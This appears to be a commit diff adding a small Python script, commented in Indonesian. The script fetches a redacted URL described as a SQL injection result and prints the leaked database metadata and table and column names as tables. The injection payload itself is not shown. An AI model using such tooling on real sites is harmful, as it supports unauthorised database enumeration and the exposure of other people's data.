|
| 1 | +import requests |
| 2 | +from bs4 import BeautifulSoup |
| 3 | +from prettytable import PrettyTable |
| 4 | + |
| 5 | +# URL hasil SQL injection |
| 6 | +url = "redacted_vulnerability_url" |
| 7 | + |
| 8 | +# Request ke URL |
| 9 | +response = requests.get(url) |
| 10 | +response.raise_for_status() |
| 11 | + |
| 12 | +# Parsing HTML dengan BeautifulSoup |
| 13 | +soup = BeautifulSoup(response.text, "html.parser") |
| 14 | + |
| 15 | +# Ekstrak tabel dari output |
| 16 | +text = soup.get_text() |
| 17 | + |
| 18 | +# Memisahkan tabel berdasarkan keyword "Table ::" |
| 19 | +sections = text.split("Table ::") |
| 20 | +metadata = sections[0].strip() |
| 21 | + |
| 22 | +# Menampilkan metadata (database info) |
| 23 | +metadata_table = PrettyTable() |
| 24 | +metadata_table.field_names = ["Property", "Value"] |
| 25 | + |
| 26 | +for line in metadata.splitlines(): |
| 27 | + if "::" in line: |
| 28 | + key, value = line.split("::", 1) |
| 29 | + metadata_table.add_row([key.strip(), value.strip()]) |
| 30 | + |
| 31 | +print("\n=== Database Metadata ===") |
| 32 | +print(metadata_table) |
| 33 | + |
| 34 | +# Menampilkan tabel database |
| 35 | +for section in sections[1:]: |
| 36 | + lines = section.strip().split("~") |
| 37 | + table_name = lines[0].strip() |
| 38 | + columns = [col.strip() for col in lines[1:] if col.strip()] |
| 39 | + |
| 40 | + # Membuat tabel PrettyTable |
| 41 | + table = PrettyTable() |
| 42 | + table.field_names = ["Column Index", "Column Name"] |
| 43 | + |
| 44 | + for idx, col in enumerate(columns, start=1): |
| 45 | + table.add_row([idx, col]) |
| 46 | + |
| 47 | + print(f"\n=== Table: {table_name} ===") |
| 48 | + print(table) |
0 commit comments